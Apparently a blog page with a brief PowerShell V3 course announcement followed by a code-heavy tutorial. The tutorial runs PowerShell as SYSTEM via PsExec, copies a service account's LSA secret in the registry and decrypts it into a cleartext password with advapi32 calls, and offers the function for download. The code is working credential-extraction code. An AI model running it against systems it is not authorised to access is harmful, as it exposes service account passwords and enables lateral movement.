PowerShell V3 Geek Week

Labcenter is hosting a PowerShell V3 Geek Week June, 11 to June, 15 in Stockholm, Sweden.

The course covers new features in Windows PowerShell V 3.0, and a large number of techniques you can use to automate your Windows environments. If you are you working on Microsoft platforms and want to be in the forefront with the latest technology from Microsoft, this is a lab you just can’t miss.

If your interested in taking the course, check out this link: http://www.labcenter.se/Labs#lab=Windows_PowerShell_V3_Geekweek

Rating 4.33 out of 5
[?]

Reading Lsa Service Account Secrets using PowerShell

Reading Lsa Service Account Secrets using PowerShell

Intro

 

The Local Security Authority (Lsa) in Windows is designed to manage a Systems sec policy, auditing, logging users on to the system and storing private data such as Service Account Passwords, Cached Password hashes, FTP and Web-User Passwords, Remote Access Service (RAS) dial-up account Names and Passwords and Computer Account passwords for domain Access.

 

The LSA Secrets are stored under the HKLM:\Security\Policy\Secrets key. This key contains additional sub-keys that store encrypted Secrets. The HKLM:\Security\Policy\Secrets key is not accesible from regedit or other tools by default, but you can access it by running as SYSTEM.

 

Each Secret conatins five values:

 

  • CurrVal – Current Encrypted Value
  • CupdTime – Last Update Time
  • OldVal – Old Value
  • OupdTime< – Old Update Time/li>
  • SecDesc – Security Descriptor

Reference

Hacking Exposed
PassCape Software

 

P/Invoke

 

Windows PowerShell V 2.0 includes a Cmdlet, Add-Type, which is used to add a Microsoft .NET Framework type (a class) to a Windows PowerShell session. It’s also possible to call native Windows APIs in Windows PowerShell.

 

If you want to learn how to call the Native Windows APIs, check out PInvoke.net. Pinvok.net is a wiki that allows developers to share PInvoke signatures, user-defined types, and any other info related to calling Win32 and other unmanaged APIs from managed code (C# VB.NET and PowerShell, Yaay).

 

As for this particular little example (I think Yngwie Malmsteen used those words in ‘Arpeggios from hell’) we’ll check out advapi32 and the LsaRetrievePrivateData function. The function is described here.

 

Reference

P/Invoke
Yngwie Malmsteen

 

PowerShell

 

As mentioned earlier, you can’t access the HKLM:\Security\Policy\Secrets key as a User, however, you can access it as SYSTEM. A simple way of running PowerShell as NT AUTHORITY\SYSTEM is by using psexec.exe.

 

 PS > .\PsExec.exe -i -s powershell.exe PS > whoami nt authority\system 

 

Step two is to use the sample code from P/Invoke in PowerShell. Thanks to the Add-Type CmdLet, we can simply place the C# sample code in a variable and pass it to the CmdLet using the MemberDefinition parameter.

 

 $signature = @" [StructLayout(LayoutKind.Sequential)] public struct LSA_UNICODE_STRING { public UInt16 Length; public UInt16 MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential)] public struct LSA_OBJECT_ATTRIBUTES { public int Length; public IntPtr RootDirectory; public LSA_UNICODE_STRING ObjectName; public uint Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; } public enum LSA_AccessPolicy : long { POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L, POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L, POLICY_GET_PRIVATE_INFORMATION = 0x00000004L, POLICY_TRUST_ADMIN = 0x00000008L, POLICY_CREATE_ACCOUNT = 0x00000010L, POLICY_CREATE_SECRET = 0x00000020L, POLICY_CREATE_PRIVILEGE = 0x00000040L, POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L, POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L, POLICY_AUDIT_LOG_ADMIN = 0x00000200L, POLICY_SERVER_ADMIN = 0x00000400L, POLICY_LOOKUP_NAMES = 0x00000800L, POLICY_NOTIFICATION = 0x00001000L } [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] public static extern uint LsaRetrievePrivateData( IntPtr PolicyHandle, ref LSA_UNICODE_STRING KeyName, out IntPtr PrivateData ); [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] public static extern uint LsaStorePrivateData( IntPtr policyHandle, ref LSA_UNICODE_STRING KeyName, ref LSA_UNICODE_STRING PrivateData ); [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] public static extern uint LsaOpenPolicy( ref LSA_UNICODE_STRING SystemName, ref LSA_OBJECT_ATTRIBUTES ObjectAttributes, uint DesiredAccess, out IntPtr PolicyHandle ); [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] public static extern uint LsaNtStatusToWinError( uint status ); [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] public static extern uint LsaClose( IntPtr policyHandle ); [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] public static extern uint LsaFreeMemory( IntPtr buffer ); "@ Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil 

 

In the example above we store the Sample Code from P/Invoke in a variable and then use the Add-Type CmdLet to Add it to our PowerShell Session.

 

Now for the tricky part. You can access the Lsa Secrets for Service Accounts using the NT AUTHORITY\SYSTEM account but you can’t decrypt them. To decrypt the Values you have to own them. How to solve this? The simplest way is to use the reg.exe command.

 

In this example i’ll use the SC_OSearch14 key (SharePoint 2010 Timer) and create a temporary key where i’ll copy each of the represented values described above.

 

 "CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object { $copyFrom = "HKLM\SECURITY\Policy\Secrets\_SC_OSearch14\" + $_ $copyTo = "HKLM\SECURITY\Policy\Secrets\MySecret\" + $_ $regCopy = reg COPY $copyFrom $copyTo /s /f } 

 

Next, I’ll create three objects holding the objectAtrtibutes, localSystem and secretName.

 

 $objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES $objectAttributes.Length = 0 $objectAttributes.RootDirectory = [IntPtr]::Zero $objectAttributes.Attributes = 0 $objectAttributes.SecurityDescriptor = [IntPtr]::Zero $objectAttributes.SecurityQualityOfService = [IntPtr]::Zero # localSystem $localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING $localsystem.Buffer = [IntPtr]::Zero $localsystem.Length = 0 $localsystem.MaximumLength = 0 # Secret Name $secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING $secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("MySecret") $secretName.Length = [Uint16]("MySecret".Length * [System.Text.UnicodeEncoding]::CharSize) $secretName.MaximumLength = [Uint16](("MySecret".Length + 1) * [System.Text.UnicodeEncoding]::CharSize) 

 

With the objects at hand i can go ahead and retrieve the Lsa Policy Handle.

 

 $lsaPolicyHandle = [IntPtr]::Zero [LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION $lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy( [ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle ) $lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult) 

 

If the LsaOpenPolicy function works out, it returns ’0′, otherwise you’ll have a nice error. A good tip is to check the output.

 

 if($lsaOpenPolicyHandle -ne 0) { Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle" } 

 

Next, we retrieve the Private Data using the LsaRetrievePrivateData function and close the LsaPolicyHandle.

 

 $privateData = [IntPtr]::Zero $ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData( $lsaPolicyHandle, [ref]$secretName, [ref]$privateData ) $lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle) 

 

Again, it’s a good idea to check the exit code from the LsaRetrievePrivateData function.

 

 if($lsaNtStatusToWinError -ne 0) { Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError" } 

 

Next step is to convert the output to a managed object and then convert it to a string.

 

 [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$secretData = [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure( $privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING] ) [string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($secretData.Buffer) $value = $value.SubString(0, ($secretData.Length / 2)) $freeMemory = [LSAUtil.LSAUtil]::LsaFreeMemory($privateData) 

 

At this point, you should have a Password in clear text. To find the account associated with the ‘_SC_OSearch14′ Service Account you can simply use WMI as demonstrated below.

 

 $serviceName = "_SC_OSearch14" -Replace "^_SC_" $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'" $account = $service.StartName 

 

Last step is to return the Account and Password as demonistraed below.

 

 New-Object PSObject -Property @{ Account = $account; SETEC_ASTRONOMY = $value } 
Account             SETEC_ASTRONOMY
-------             ---------------
POWERSHELL\spAdmin  Password1

 

Click here to download the Lsa PowerShell function

 

Usage:

 

 PS > Get-TSLsaSecret 

 

Rating 4.80 out of 5
[?]